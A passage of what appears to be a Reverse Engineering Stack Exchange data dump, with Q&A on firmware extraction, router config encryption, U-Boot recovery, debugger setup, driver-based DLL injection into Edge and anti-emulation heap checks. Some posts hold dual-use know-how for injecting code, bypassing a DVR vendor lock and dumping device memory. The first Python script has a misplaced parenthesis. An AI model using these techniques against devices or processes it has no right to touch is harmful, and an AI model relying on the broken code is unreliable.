        "Answer": "<p>The file format consists of a file table starting at 0xC8 with each entry being:</p>\n\n<ul>\n<li>char filename[48]</li>\n<li>uint32_t position</li>\n<li>uint32_t size</li>\n</ul>\n\n<p>Where <code>position</code> indicates the position in the archive and <code>size</code> the archived file's size.</p>\n\n<p>Run <code>code.py Download.img</code> to extract the files and place them into <code>Download.img.out/</code>:</p>\n\n\n\n<pre><code>from __future__ import print_function\nimport os\nimport sys\nimport struct\n\nif len(sys.argv) &lt;= 1:\n    print('usage: {} file'.format(sys.argv[0]))\n    exit(1)\n\npath = '{}.out/'.format(sys.argv[1])\n\nif not os.path.exists(path):\n    os.makedirs(path)\n\nwith open(sys.argv[1], 'rb') as f:\n    i = 0\n    while True:\n        f.seek(0xC8 + i*0x50)\n        name = f.read(0x48).decode('ascii').split('\\x00')[0]\n        if (len(name) == 0): break\n        if struct.calcsize('II') == 0x08:\n            v = struct.unpack('II', f.read(0x08))\n        elif struct.calcsize('LL') == 0x08:\n            v = struct.unpack('LL', f.read(0x08))\n        else:\n            print(\"Unsupported platform\")\n            exit(1)\n        f.seek(v[0])\n        out = open('{}{}'.format((path, name), 'wb'))\n        out.write(f.read(v[1]))\n        out.close()\n        i += 1\n    f.close()\n</code></pre>\n"
    },
    {
        "Id": "21785",
        "CreationDate": "2019-07-28T14:42:33.280",
        "Body": "<p>I do kernel debugging by using a virtual com port. One machine (host) is debugging the other machine. I have a remote machine that has IDA, and I wish to connect to the debugging session in the host machine.</p>\n\n<p>The setup is as here </p>\n\n<p><a href=\"https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/remote-debugging-using-kd\" rel=\"nofollow noreferrer\">https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/remote-debugging-using-kd</a></p>\n\n<p>I also followed the guide here. </p>\n\n<p>So I setup a server using <code>.server tcp:port=5004</code> (on a kernel kd session). </p>\n\n<p>When I connect remotely by using <code>cdb -remote tcp:Port=5004,Server=HOST</code>\nit works. But when I try to connect using IDA, it doesn't work. </p>\n\n<p>I have IDA 7.0 x64. I tried to use windbg(x64) debugger with connection string <code>tcp:Port=5004,Server=HOST</code> and parameter <code>-remote</code> and many other variations. It failed to launch in all cases. </p>\n\n<p>It usually types: </p>\n\n<pre><code>Windbg: using debugging tools from 'C:\\Program Files (x86)\\Windows Kits\\10\\Debuggers\\x64\\'\nConnecting in kernel mode with 'tcp:port=5004,server=HOST'\nConnect failed: The parameter is incorrect.\n</code></pre>\n\n<p>What did I do wrong?</p>\n\n<p>BTW, the version of the debugging tools of IDA and in the host machine is the same. </p>\n",
        "Title": "Remote debugging using IDA, connecting to windbg server (kernel mode)",
        "Tags": "|ida|debuggers|windbg|kernel|",
        "Answer": "<p>Eventually, I have used kdsrv(x86) in the host machine :</p>\n\n<p><code>Kdsrv -t tcp:port=5006</code></p>\n\n<p>And in IDA the following connection string:</p>\n\n<p><code>kdsrv:server=@{tcp:port=5006,server=HOST},trans=@{com:port=com1,baud=115200}</code></p>\n\n<p>and it worked.</p>\n"
    },
    {
        "Id": "21791",
        "CreationDate": "2019-07-28T21:46:25.960",
        "Body": "<p>Hi all i got a western digital hard drive from a DVR which contains custom firmware so you will not be able to install any hard drive you want on the DVR device. (digital video recorder) something like what the xbox has by using a security sector i think.</p>\n\n<p>How can i extract this firmware and upload it on another drive ? or change the other drives hardwired serial to match the original custom drive ?</p>\n\n<p>thanks</p>\n\n<p>---A NOTE--\ni want to use my own drives not the ones the company sells for x3 times as much which are the same drives (same model and brand) but they got a custom firmware or some kind of protection. If i install another hard drive a generic one the DVR refuses to accept it/see it, only the company's custom firmware drives are recognized even if they are the same brand and model. I need to see whats on the firmware and copy it and flash another identical (or not) drive with it so DVR's firmware can see it as an \"authorized\" drive. Cloning the custom disk to another wont work either.</p>\n",
        "Title": "How to extract firmware from a western digital hard drive with custom firmware",
        "Tags": "|firmware|",
        "Answer": "<p>I think it's highly unlikely that the drives have custom firmware. Most likely the check is done by the DVR, and the drives are completely ordinary but are prepared by the vendor.</p>\n\n<p>For example, there may be a hidden sector written with data which depends on the drive's serial number, so cloning it to another won't work. </p>\n\n<p>I'd suggest investigating the DVR's firmware and looking at how it detects \"bad\" drives.</p>\n"
    },
    {
        "Id": "21793",
        "CreationDate": "2019-07-29T01:36:45.817",
        "Body": "<p>when I am looking for packet editor, I found open project on <a href=\"http://www.packeteditor.com/\" rel=\"nofollow noreferrer\">http://www.packeteditor.com/</a>\nwhen I learn how it works, I see that the application is injecting a dll named WSPE.dat, when I load this WSPE.dat to ida pro, I found it was a dll that has been obfuscated.\nand it was something like this :\n<a href=\"https://i.stack.imgur.com/3CMBM.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/3CMBM.jpg\" alt=\"SteveW obfuscator\"></a></p>\n\n<p>what is that SteveW section? I also see a lot of this obfuscator on other dll, but protectionId scan result it wasn't being packed\nwith this note :</p>\n\n<pre><code>Section [0x0] 'SteveW  ' has a higher physical size than virtual size..\n</code></pre>\n\n<p>and also this :</p>\n\n<pre><code>Warning : Import Table is bad !!!\n</code></pre>\n\n<p>here is the dll link :\n<a href=\"https://github.com/appsec-labs/Advanced_Packet_Editor/blob/master/Source/PacketEditor/WSPE.dat\" rel=\"nofollow noreferrer\">WSPE.dat</a></p>\n",
        "Title": "DLL obfuscator - what kind of obfuscator is this?",
        "Tags": "|dll|",
        "Answer": "<p>I wrote the code for WSPE.dat and can confirm that I custom wrote the encryption based on the supplied name/key plus the 'invalid' PE heading. So, if a user attempts to modify the PE heading on the drive to allow for debugging of the DLL for a dump then it'll fail to properly decrypt in memory.</p>\n"
    },
    {
        "Id": "21806",
        "CreationDate": "2019-07-31T06:35:43.150",
        "Body": "<p>This format is always trouble for reverse engeneering. When there are question about binary XML, the usual answer is \"use apktool\" (or something similar).</p>\n\n<p>However, no tool is perfect; actually all suggested tools are more or less buggy, and I don't know tool that can successfully decompile and recompile <strong>any APK</strong> from Google Play.</p>\n\n<p>Because such tools are usually open source ones, they are rarely updated and don't fix bugs for years (see <strong>Issues</strong> on github for any such tool and see how quickly issues are closed).</p>\n\n<p>My question is: so, <strong>where is this format documented?</strong> If <code>apktool</code> and similar tools exists, it mean that they found format description somewhere and tried to implement its parser and writer.</p>\n",
        "Title": "Where is Android binary XML format documented?",
        "Tags": "|android|",
        "Answer": "<p>There is no actual documentation or specification. You pretty much just have to look at the source.</p>\n\n<p>See, e.g.</p>\n\n<p><a href=\"https://android.googlesource.com/platform/frameworks/base/+/master/libs/androidfw/include/androidfw/ResourceTypes.h\" rel=\"noreferrer\">https://android.googlesource.com/platform/frameworks/base/+/master/libs/androidfw/include/androidfw/ResourceTypes.h</a></p>\n"
    },
    {
        "Id": "21815",
        "CreationDate": "2019-07-31T18:58:03.190",
        "Body": "<p>Hello I have a 4G LTE router which is blocked. and I have already dumped the partitions before via <code>telnet</code> from another device of the same model.</p>\n\n<pre><code>    U-Boot 2010.09 (Sep 06 2016 - 10:08:39)GCT GDM7243\n\n\n\nBuild Info:\n\n  date: 2016/09/06-10:08:44\n\n  user: root@ubuntu-will\n\n  svnr: \n\n  src: /home/will/DEVELOPMENT/LTE_Router/B5328_FDD/SDK/work/uboot\n\n  ver: 0.46e\n\n\n\nDRAM:  128 MiB (wbd-p2)\n\nNAND:  Built-in ECC Nand\nmaf_id : 0x00000098, dev_id : 0x000000a1\nPagesize : 2Kbytes\nAddress cycle : 4\n128 MiB\nBad block table found at page 65472, version 0x01\nBad block table found at page 65408, version 0x01\nnand_read_bbt: Bad block at 0x000006000000\nIn:    serial\nOut:   serial\nErr:   serial\nNet:    001cc910 Realtek8211  PHYCR1: 0000211c  Rx delay: 0x00802300 \n    PHYCR2:0x842  mii0\nHit ENTER key to stop autoboot:  5  4  3  2  1  0 \nGPIO RESET KEY OFF\n00420000\n---------------------\nhdr chksum  : 0xffffffff\nmagic       : 0xffffffff\ntimstamp    : 0xffffffff\ndata chksum : 0xffffffff\ndata size   : 0xffffffff\n---------------------\nimage header magic is invalid\n00440000\n---------------------\nhdr chksum  : 0xa6160741\nmagic       : 0xcafebabe\ntimstamp    : 0x00000003\ndata chksum : 0xf314f304\ndata size   : 0x0001ffdc\n---------------------\ncmnnv current block is : 1\npesifwcheck=1\nErasing Nand...\n\nErasing at 0x80000 --  25% complete.\nErasing at 0xa0000 --  50% complete.\nErasing at 0xc0000 --  75% complete.\nErasing at 0xe0000 -- 100% complete.\nWriting to Nand... done\n\nboot from part_idx: 2\ndo_check_partition() type:linux2, ---------------------\nhdr chksum  : 0x00000000\nmagic       : 0x00000000\ntimstamp    : 0x00000000\ndata chksum : 0x00000000\ndata size   : 0x00000000\n---------------------\n---------------------\nhdr chksum  : 0x00000000\nmagic       : 0x00000000\ntimstamp    : 0x00000000\ndata chksum : 0x00000000\ndata size   : 0x00000000\n---------------------\nno valid header(0)\nThere are no valid headers\n---------------------\nhdr chksum  : 0x00000000\nmagic       : 0x00000000\ntimstamp    : 0x00000000\ndata chksum : 0x00000000\ndata size   : 0x00000000\n---------------------\n---------------------\nhdr chksum  : 0x00000000\nmagic       : 0x00000000\ntimstamp    : 0x00000000\ndata chksum : 0x00000000\ndata size   : 0x00000000\n---------------------\nno valid header(1)\nThere are no valid headers\nErasing Nand...\n\nErasing at 0x80000 --  25% complete.\nErasing at 0xa0000 --  50% complete.\nErasing at 0xc0000 --  75% complete.\nErasing at 0xe0000 -- 100% complete.\nWriting to Nand... done\n\n---------------------\nhdr chksum  : 0x00000000\nmagic       : 0x00000000\ntimstamp    : 0x00000000\ndata chksum : 0x00000000\ndata size   : 0x00000000\n---------------------\n---------------------\nhdr chksum  : 0x00000000\nmagic       : 0x00000000\ntimstamp    : 0x00000000\ndata chksum : 0x00000000\ndata size   : 0x00000000\n---------------------\nno valid header(0)\n---------------------\nhdr chksum  : 0x00000000\nmagic       : 0x00000000\ntimstamp    : 0x00000000\ndata chksum : 0x00000000\ndata size   : 0x00000000\n---------------------\n---------------------\nhdr chksum  : 0x00000000\nmagic       : 0x00000000\ntimstamp    : 0x00000000\ndata chksum : 0x00000000\ndata size   : 0x00000000\n---------------------\nno valid header(2)\n---------------------\nhdr chksum  : 0x00000000\nmagic       : 0x00000000\ntimstamp    : 0x00000000\ndata chksum : 0x00000000\ndata size   : 0x00000000\n---------------------\n---------------------\nhdr chksum  : 0x00000000\nmagic       : 0x00000000\ntimstamp    : 0x00000000\ndata chksum : 0x00000000\ndata size   : 0x00000000\n---------------------\n  ## Booting kernel from Legacy Image at d05fffc0 ...\n   Image Name:   Linux-3.10.0-uc0\n   Image Type:   ARM Linux Kernel Image (uncompressed)\n   Data Size:    2317840 Bytes = 2.2 MiB\n   Load Address: d0600000\n   Entry Point:  d0600000\n   Verifying Checksum ... Bad Data CRC\nERROR: can't get kernel image!\n</code></pre>\n\n<p>If I try to boot from TFTP the image loads just fine and everything is working.</p>\n\n<p>I flashed the <code>linux.bin</code> image to the respective partition but I don't know what I need to do to be able to get the device working again. Maybe flashing from U-Boot will get it to work .</p>\n\n<p>Here's the boot process information from TFTP: </p>\n\n<pre><code>    Using mii0 device\nTFTP from server 192.168.0.10; our IP address is 192.168.0.1\nFilename 'linux.bin'.\nLoad address: 0xd05fffc0\nLoading: *##T ###############################################################\n     #################################################################\n     #################################################################\n     #################################################################\n     ##########################\ndone\nBytes transferred = 4194304 (400000 hex)\nAutomatic boot of image at addr 0xD05FFFC0 ...\n## Booting kernel from Legacy Image at d05fffc0 ...\n   Image Name:   Linux-3.10.0-uc0\n   Image Type:   ARM Linux Kernel Image (uncompressed)\n   Data Size:    2317840 Bytes = 2.2 MiB\n   Load Address: d0600000\n   Entry Point:  d0600000\n   Verifying Checksum ... OK\n   Loading Kernel Image ... OK\nOK\n\nStarting kernel ...\n\nUncompressing Linux... done, booting the kernel.\ngipc-protocol address: d4880010\nipc config: 00000004\n  router-device\ns-ch_enabled: 0x10010001\ns-ch_enabled: 0x10010001\ns-ch_enabled: 0x10010001\nipc magic=0x40540103(12)\ns-ch_enabled: 0x10010003\n</code></pre>\n\n<p>Here's the partition layout:</p>\n\n<pre><code>device nand0 &lt;gdm7243&gt;, # parts = 17\n #: name        size        offset      mask_flags\n 0: u-boot              0x00080000  0x00000000  0\n 1: env                 0x00080000  0x00080000  0\n 2: rev0                0x00100000  0x00100000  0\n 3: ltenv               0x00100000  0x00200000  0\n 4: wmnv                0x00100000  0x00300000  0\n 5: cmnnv               0x00100000  0x00400000  0\n 6: cmnnv2              0x00100000  0x00500000  0\n 7: rev1                0x00400000  0x00600000  0\n 8: linux               0x00400000  0x00a00000  0\n 9: linux2              0x00400000  0x00e00000  0\n10: rootfs              0x01e00000  0x01200000  0\n11: rootfs2             0x01e00000  0x03000000  0\n12: tk                  0x00500000  0x04e00000  0\n13: tk2                 0x00500000  0x05300000  0\n14: customize           0x00080000  0x05800000  0\n15: log                 0x00280000  0x05880000  0\n16: update              0x02000000  0x05b00000  0\n\nactive partition: nand0,0 - (u-boot) 0x00080000 @ 0x00000000\n\ndefaults:\nmtdids  : nand0=gdm7243\nmtdparts: mtdparts=gdm7243:512k(u-boot),512k(env),1m(rev0),1m(ltenv),1m(wmnv),1m(cmnnv),1m(cmnnv2),4m(rev1),4m(linux),4m(linux2),30m(rootfs),30m(rootfs2),5m(tk),5m(tk2),512k(customize),2560k(log),32m(update)\n</code></pre>\n",
        "Title": "how to flash image.bin with uboot using serial or tftp",
        "Tags": "|linux|flash|",
        "Answer": "<pre><code>kernel_load_addr=0xd0600000\nfilesize=400000\n</code></pre>\n\n<p>then reset the device . it should be working. </p>\n\n<pre><code>Starting kernel ...\n\nUncompressing Linux... done, booting the kernel.\ngipc-protocol address: d4880010\nipc config: 00000004\n  router-device\ns-ch_enabled: 0x10010001\ns-ch_enabled: 0x10010001\ns-ch_enabled: 0x10010001\nipc magic=0x40540103(12)\ns-ch_enabled: 0x10010003\n</code></pre>\n\n<p>Still the issue persist after the second reboot. \nif I reboot after typing these commands the device actually boots up normally but if i restart a second time the error will reappear again . still something to investigate on the problem.</p>\n"
    },
    {
        "Id": "21827",
        "CreationDate": "2019-08-02T19:45:29.520",
        "Body": "<p>i have decrypted  the config file <a href=\"https://www110.zippyshare.com/v/K4IYzLDk/file.html\" rel=\"nofollow noreferrer\">using a program i found online</a> ( maybe made by python to exe )  </p>\n\n<p>so to decrypt using it you type is command into CMD</p>\n\n<pre><code>decode_zte_config.exe config.bin config.bin.xml --key \"GrWM2Hz&amp;LTvz&amp;f^5\"\n</code></pre>\n\n<p>how can i encrypt the config file after editing it to upload it to the router and disable some unwanted settings .</p>\n",
        "Title": "how can i Encrypt a decrypted zte zxhn h108n V2.5 config file?",
        "Tags": "|decryption|encryption|python|",
        "Answer": "<p>You can use the <a href=\"https://github.com/streetster/zte-config-utility\" rel=\"nofollow noreferrer\">zcu</a> module to do this.</p>\n\n<pre><code>python examples/encode.py config.bin.xml out.bin --key 'GrWM2Hz&amp;LTvz&amp;f^5' --signature 'ZXHN H108N V2.5'\n</code></pre>\n\n<p>Full disclosure: I wrote the <code>zcu</code> module. It's based off of <a href=\"https://pastebin.com/GGxbngtK\" rel=\"nofollow noreferrer\">this</a> pastebin.</p>\n"
    },
    {
        "Id": "21832",
        "CreationDate": "2019-08-03T23:01:29.450",
        "Body": "<p><strong>First my setup:</strong> \nLinux Mint 64bit 4.15.0-20-generic</p>\n\n<p>radare2 the newest version from github </p>\n\n<p>/etc/sysctl.d/10-ptrace.conf = 0</p>\n\n<p><strong>Executable:</strong>\nELF 64-bit LSB executable, x86-64 </p>\n\n<p>read write and executable, i can run it with gdb or execute it from terminal</p>\n\n<p><em>Name = crackme01</em></p>\n\n<p><strong>What ive done as root:</strong></p>\n\n<p>i verified with\n <code>ps -ef | grep gdb \n ps -ef | grep ptrace\n  ps -ef | grep r2</code> that only my single r2 is trying to attach.\nthen: </p>\n\n<p><code>1. r2 -d crackme01 \n  2. doo</code></p>\n\n<p><strong>The error i am getting:</strong></p>\n\n<blockquote>\n  <p>ptrace (PT_ATTACH): Operation not permitted</p>\n</blockquote>\n\n<p>I found other questions from people with the same problem, but none of their solutions could solve my problem. I would really appreciate it, if someone could help me.</p>\n",
        "Title": "Radare2 ptrace can not attach",
        "Tags": "|binary-analysis|linux|radare2|binary|",
        "Answer": "<p>This error message probably should be ignored. I found something on the radare2 <a href=\"https://github.com/radare/radare2/issues/13404\" rel=\"nofollow noreferrer\">github</a> </p>\n\n<blockquote>\n  <p>\"These ptrace (PT_ATTACH): Operation not permitted messages seem to\n  happen because of subsequent PT_ATTACH calls to the same pid, even\n  though it is already attached. This should be fixed, but it probably\n  shouldn't cause any major issues right now.\" ~thestr4ng3r</p>\n</blockquote>\n\n<p>In my case i also did some mistake with radare2 (i forgot to analyse <code>aaa</code>), thats the reason it \"didnt work\". I ignored this message, proceeded and solved this beginner crackme. </p>\n"
    },
    {
        "Id": "21840",
        "CreationDate": "2019-08-05T06:39:19.003",
        "Body": "<p>It seems like driver based injection using APC calls fails on MicrosoftEdge and it's related processes (<code>browser_broker.exe , MicrosoftEdgeCP.exe and MicrosoftEdge.exe</code>).</p>\n\n<p>Looking into the problem, it looks like this application is protected process and uses the <code>ProcessDynamicCodePolicy</code> flag which prevents the driver from allocate new executable memory. </p>\n\n<p>Eventually, shortly after trying to inject to those processes, they all fail due to the following reason (exception 0xC0000409, <code>STATUS_STACK_BUFFER_OVERRUN</code>).</p>\n\n<pre><code>Description:\nFaulting application name: MicrosoftEdgeCP.exe, version: 11.0.15063.674, time stamp: 0x59cdf479\nFaulting module name: ntdll.dll, version: 10.0.15063.1324, time stamp: 0x28af0ac0\nException code: 0xc0000409\nFault offset: 0x00000000000a9f80\nFaulting process ID: 0x1580\nFaulting application start time: 0x01d503e311af20b8\nFaulting application path: C:\\Windows\\SystemApps\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\MicrosoftEdgeCP.exe\nFaulting module path: C:\\Windows\\SYSTEM32\\ntdll.dll\nReport ID: 112c6adc-0898-4441-90b6-f1a17b668af1\nFaulting package full name: Microsoft.MicrosoftEdge_40.15063.674.0_neutral__8wekyb3d8bbwe\n</code></pre>\n\n<p>Does the above output hint that this is the problem I'm facing? </p>\n\n<p>Is there any way to detect from the driver that this process is protected?</p>\n",
        "Title": "Microsoft Edge and it's related processes may have turned protected in windows 10 1903",
        "Tags": "|windows|dll-injection|",
        "Answer": "<blockquote>\n  <p>Is there any way to detect from the driver that this process is protected ?</p>\n</blockquote>\n\n<p><strong>Disclaimer:</strong> This following procedure depends on undocmented data structure which is extracted from PDB symbol of <code>combase.dll</code> file. As usual this may not work in future Windows OS version.</p>\n\n<p>This is the sample C code to detect protected process. The program accepts a valid process ID in its first argument. This code need to be linked with <code>ntdll.lib</code> library. In user mode, this code may need to be run as administrator for some processes.</p>\n\n\n\n<pre><code>#include &lt;Windows.h&gt;\n#include &lt;winternl.h&gt;\n#include &lt;stdio.h&gt;\n#include &lt;stdlib.h&gt;\n\ntypedef struct _PROCESS_EXTENDED_BASIC_INFORMATION {\n    size_t Size;\n    PROCESS_BASIC_INFORMATION BasicInfo;\n    union {\n        unsigned int Flags;\n        struct {\n            unsigned int IsProtectedProcess : 1;\n            unsigned int IsWow64Process : 1;\n            unsigned int IsProcessDeleting : 1;\n            unsigned int IsCrossSessionCreate : 1;\n            unsigned int IsFrozen : 1;\n            unsigned int IsBackground : 1;\n            unsigned int IsStronglyNamed : 1;\n            unsigned int IsSecureProcess : 1;\n            unsigned int IsSubsystemProcess : 1;\n            unsigned int SpareBits : 23;\n        };\n    };\n} PROCESS_EXTENDED_BASIC_INFORMATION, *PPROCESS_EXTENDED_BASIC_INFORMATION; /* size: 0x0040 */\n\nint main(int argc, char *argv[])\n{\n    if (argc &lt; 2)\n        return;\n\n    void *hProcess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, 0, atoi(argv[1]));\n    if (hProcess != NULL)\n    {\n        unsigned int ret;\n        PROCESS_EXTENDED_BASIC_INFORMATION pInfo;\n        memset(&amp;pInfo, 0, sizeof pInfo);\n\n        NTSTATUS Status = NtQueryInformationProcess(hProcess, ProcessBasicInformation, &amp;pInfo, sizeof pInfo, &amp;ret);\n        if (Status == 0)\n            printf(\"Protected: %d\\n\", pInfo.IsProtectedProcess);\n        CloseHandle(hProcess);\n    }\n    else\n        printf(\"OpenProcess error: %d\\n\", GetLastError());\n}\n</code></pre>\n\n\n\n<hr>\n\n<p>To add or change process mitigation policy flags, programs use <code>SetProcessMitigationPolicy()</code> function which uses <code>NtSetInformationProcess()</code> function (retrieved from <code>KernelBase.dll</code>). Here is a sample C code which enables dynamic code policy.</p>\n\n\n\n<pre><code>#include &lt;Windows.h&gt;\n#include &lt;winternl.h&gt;\n\ntypedef struct _PROCESS_MITIGATION_POLICY_INFORMATION {\n    PROCESS_MITIGATION_POLICY Policy;\n    union {\n        PROCESS_MITIGATION_ASLR_POLICY ASLRPolicy;\n        PROCESS_MITIGATION_STRICT_HANDLE_CHECK_POLICY StrictHandleCheckPolicy;\n        PROCESS_MITIGATION_SYSTEM_CALL_DISABLE_POLICY SystemCallDisablePolicy;\n        PROCESS_MITIGATION_EXTENSION_POINT_DISABLE_POLICY ExtensionPointDisablePolicy;\n        PROCESS_MITIGATION_DYNAMIC_CODE_POLICY DynamicCodePolicy;\n        PROCESS_MITIGATION_CONTROL_FLOW_GUARD_POLICY ControlFlowGuardPolicy;\n        PROCESS_MITIGATION_BINARY_SIGNATURE_POLICY SignaturePolicy;\n        PROCESS_MITIGATION_FONT_DISABLE_POLICY FontDisablePolicy;\n        PROCESS_MITIGATION_IMAGE_LOAD_POLICY ImageLoadPolicy;\n        PROCESS_MITIGATION_SYSTEM_CALL_FILTER_POLICY SystemCallFilterPolicy;\n        PROCESS_MITIGATION_PAYLOAD_RESTRICTION_POLICY PayloadRestrictionPolicy;\n        PROCESS_MITIGATION_CHILD_PROCESS_POLICY ChildProcessPolicy;\n        PROCESS_MITIGATION_SIDE_CHANNEL_ISOLATION_POLICY SideChannelIsolationPolicy;\n    };\n} PROCESS_MITIGATION_POLICY_INFORMATION, *PPROCESS_MITIGATION_POLICY_INFORMATION; /* size: 0x0008 */\n\nint main(void)\n{\n    PROCESS_MITIGATION_POLICY_INFORMATION PolicyInfo = { 0 };\n    PolicyInfo.Policy = ProcessDynamicCodePolicy;\n    PolicyInfo.DynamicCodePolicy.ProhibitDynamicCode = TRUE;\n\n    NTSTATUS Status = NtSetInformationProcess(\n        GetCurrentProcess(),\n        52, /* ProcessMitigationPolicy */\n        &amp;PolicyInfo,\n        sizeof PolicyInfo);\n}\n</code></pre>\n\n\n\n<p>Any one of the policy can be enabled with this method. Use <code>Zw</code> alternatives of <code>Nt</code> function to use in kernel mode. All of these undocumented structures can also be found in <a href=\"https://github.com/processhacker/processhacker/blob/master/phnt/include/ntpsapi.h\" rel=\"noreferrer\">ProcessHacker/phnt</a> repository.</p>\n"
    },
    {
        "Id": "21844",
        "CreationDate": "2019-08-05T12:56:14.923",
        "Body": "<p>When I was reversing some well known Android chat applications (I can not disclose which specific ones, but all of them where owned by companies with 1 billion+ capital and have hundreds of millions of accounts), I saw an interesting feature in C++ code.</p>\n\n<p>These applications read uninitialized data and sent it to their web service.</p>\n\n<p>In pseudocode, they do the following job:</p>\n\n<pre><code>static constexpr const size_t uninitialized_data_size = 1024;\nauto uninitialized_data = malloc(uninitialized_data_size);\nHttpPost(\"http://my-url.com\", uninitialized_data, uninitialized_data_size);\n</code></pre>\n\n<p>Of course, we can think that it is just a bug... But when multiple huge companies do the same thing, I'm starting to think: why?</p>\n\n<p>Does anyone have idea what information uninitialized data can supply to security team? Is it just repeated error made by accident, or they extract some useful information from uninitialized data that they send to their server on regular basis?</p>\n",
        "Title": "What information may supply the uninitialized data to security team?",
        "Tags": "|c++|android|",
        "Answer": "<p>I have not 100% idea how do they use this information, but what I suspect from information supplied by other participants of this conversation and also information from Internet:</p>\n\n<ul>\n<li>In Android JNI application, <code>Java</code> doesn't use <code>malloc</code> to allocate Java object. Instead, Java has its own memory manager. So, Java code has a very little influence on what <code>malloc</code> return.</li>\n<li><code>malloc</code> prefers to use the same arena for the same thread if possible; so, in most cases other JNI calls made from other threads will not influence what does <code>malloc</code> returns.</li>\n<li>It means, that <code>malloc</code> will often return data allocated by the same thread. In JNI, we usually don't create long living C/C++ objects and prefer to use Java as memory manager, because it is problematic to free C++ memory in Java. <code>finalize</code> doesn't provide any guarantees! So, even if we will try to free C++ data associated with Java object in <code>finalize</code>, we can never know for sure that we'll not get memory leak, because OS will never call <code>finalize</code>.\nSo, we may expect that 99% of <code>malloc</code> made during JNI call will call <code>free</code> during the same call.</li>\n<li>So, we can use uninitialized data to detect (with some probability) that our shared library is loaded in some unusual environment.</li>\n</ul>\n\n<p>Lets imagine following code:</p>\n\n<pre><code>void MarkHeap()\n{\n    static const char *ones = \"11....1\"; // String that contains 1024 ones\n    auto some_data = malloc(1024);\n    memcpy(some_data, ones, 1024);\n    free(some_data);\n}\n\nsize_t CheckMarkHeap()\n{\n    auto some_data = malloc(100);\n    size_t ones_count = 0;\n    for(size_t i = 0; i &lt; 100; ++i)\n        if(some_data[i] == '1')\n            ++ones_count;\n    free(some_data);\n    return ones_count;\n}\n\nMarkHeap();\nauto ones_count = CheckMarkHeap()\n</code></pre>\n\n<p>Here we can expect that very often <code>ones_count</code> will equal to 100! We can now use this strategy to check (with some probability) if <code>CheckMarkHeap</code> is called soon after <code>MarkHeap</code>.</p>\n\n<p>In situation where <code>CheckMarkHeap</code> calculates any kind of security token, we can afraid that anyone will try to use our own shared library to bypass our protection; in case of Android, we can extract shared library from APK and try to interpret it with Android emulator or any embedded ARM emulation library like <code>unicorn</code>. If we implemented <code>MarkHeap</code> in another shared library that doesn't draw attacker attention and somehow call it before <code>CheckMarkHeap</code>, we have a good chance to detect that our security library is loaded from unusual context.</p>\n\n<p>Of course, we can not ban immediately for that, because any random events may affect <code>ones_count</code>. However, if <code>ones_count</code> is not 100 in more than 60% of calls, we can make any soft penalty to suspicious account (for example, ask for phone verification, SafetyNet verification, show CAPTCHA more often, send account to human moderation, etc).</p>\n"
    },
    {
        "Id": "21853",
        "CreationDate": "2019-08-06T12:58:09.167",
        "Body": "<p>I have 2 binaries, with the same CPU architecture. </p>\n\n<p>I made a flirt signature file - first used <code>IDB2PAT</code> on the first idb, and then <code>sigmake</code> to produce the actual signature file out of it. </p>\n\n<p>I put the produced file in the right CPU directory under <code>IDA</code> home. Then I opened the second binary and applied the signature file on it.</p>\n\n<p>The result is that some of the functions (~20%) are marked in blue as library functions, and actually appear in the original binary as expected, but almost none of those functions were renamed to the names from the first binary. </p>\n\n<p>Does anyone know what could be the reason? Is there another way to find the original function name from the binary that I apply the signature file on? </p>\n",
        "Title": "IDA and flirt signatures",
        "Tags": "|ida|binary|flirt-signatures|",
        "Answer": "<p>Alas RISC instruction sets like PowerPC are often not a good fit for FLIRT. I you read the <a href=\"https://www.hex-rays.com/products/ida/tech/flirt/in_depth.shtml\" rel=\"nofollow noreferrer\">white paper</a> (or even the FLAIR doc), you'll see that it only has provision for variable <em>bytes</em>, while in Power ISA the opcode fields usually cross byte boundaries, so you can get patterns which are either too broad (it ignores whole bytes instead of narrower bit fields) or too narrow (it does not allow enough variation and so won't match functions with slight changes). Additionally, solutions like <code>IDB2PAT</code> are mainly tuned for x86 so they likely produce suboptimal output for PPC. </p>\n\n<p>I would suggest you to try simple byte sequence search to find some similar functions and then check if they were present in the original pattern list or not, and if they were, would the pattern bytes actually match the function.</p>\n"
    },
    {
        "Id": "21863",
        "CreationDate": "2019-08-09T14:32:52.297",
        "Body": "<p>Let's say I want to list all calls that issue kill,</p>\n\n<pre><code>axt @ sym.imp.kill\n</code></pre>\n\n<p>How can I now NOP out the <code>syscall</code> at <strong>all</strong> of the addresses given? I want to strip the program of calls to kill.</p>\n",
        "Title": "How can I iterate over syscalls (as returned with `axt`) and rewrite them?",
        "Tags": "|radare2|",
        "Answer": "<p>I was able to get that working with <code>@@=<code>axt sym.imp.kill</code></code>,</p>\n\n<pre><code>wao nop @@=`axt sym.imp.kill`\n</code></pre>\n"
    },
    {
        "Id": "21897",
        "CreationDate": "2019-08-15T02:00:15.970",
        "Body": "<p>Within this very stripped down firmware I'm looking at (hikvision camera misrepresented), this is all I have to work with. No other firmware exists, and the <code>open-seasame</code> command presents an encrypted challenge, so no root.</p>\n\n<p>Is there anything in this list that pokes at the ability to dump the firmware via uboot ?</p>\n\n<p>There are pads for a micro-SD card, but I haven't soldered anything up or tested / probed it with a scope.</p>\n\n<pre><code>The following commands are supported:\nboot    erase   help    reset\nsaveenv printenv        setenv  upbs\nformat  update  upfusb  upf\nupdatebusb      updateb gos     go\nmii     gpio    ping\nUse help to get help on a specific command\n</code></pre>\n",
        "Title": "Limited U-Boot options, any memory reading possibilities here?",
        "Tags": "|memory|hardware|",
        "Answer": "<p>The go command in uboot allows you to specify an address and provide arguments. You could potentially use this invoke a printf(), providing a pointer to a format string and a pointer to what you wish to read.</p>\n"
    },
    {
        "Id": "21904",
        "CreationDate": "2019-08-15T18:51:38.610",
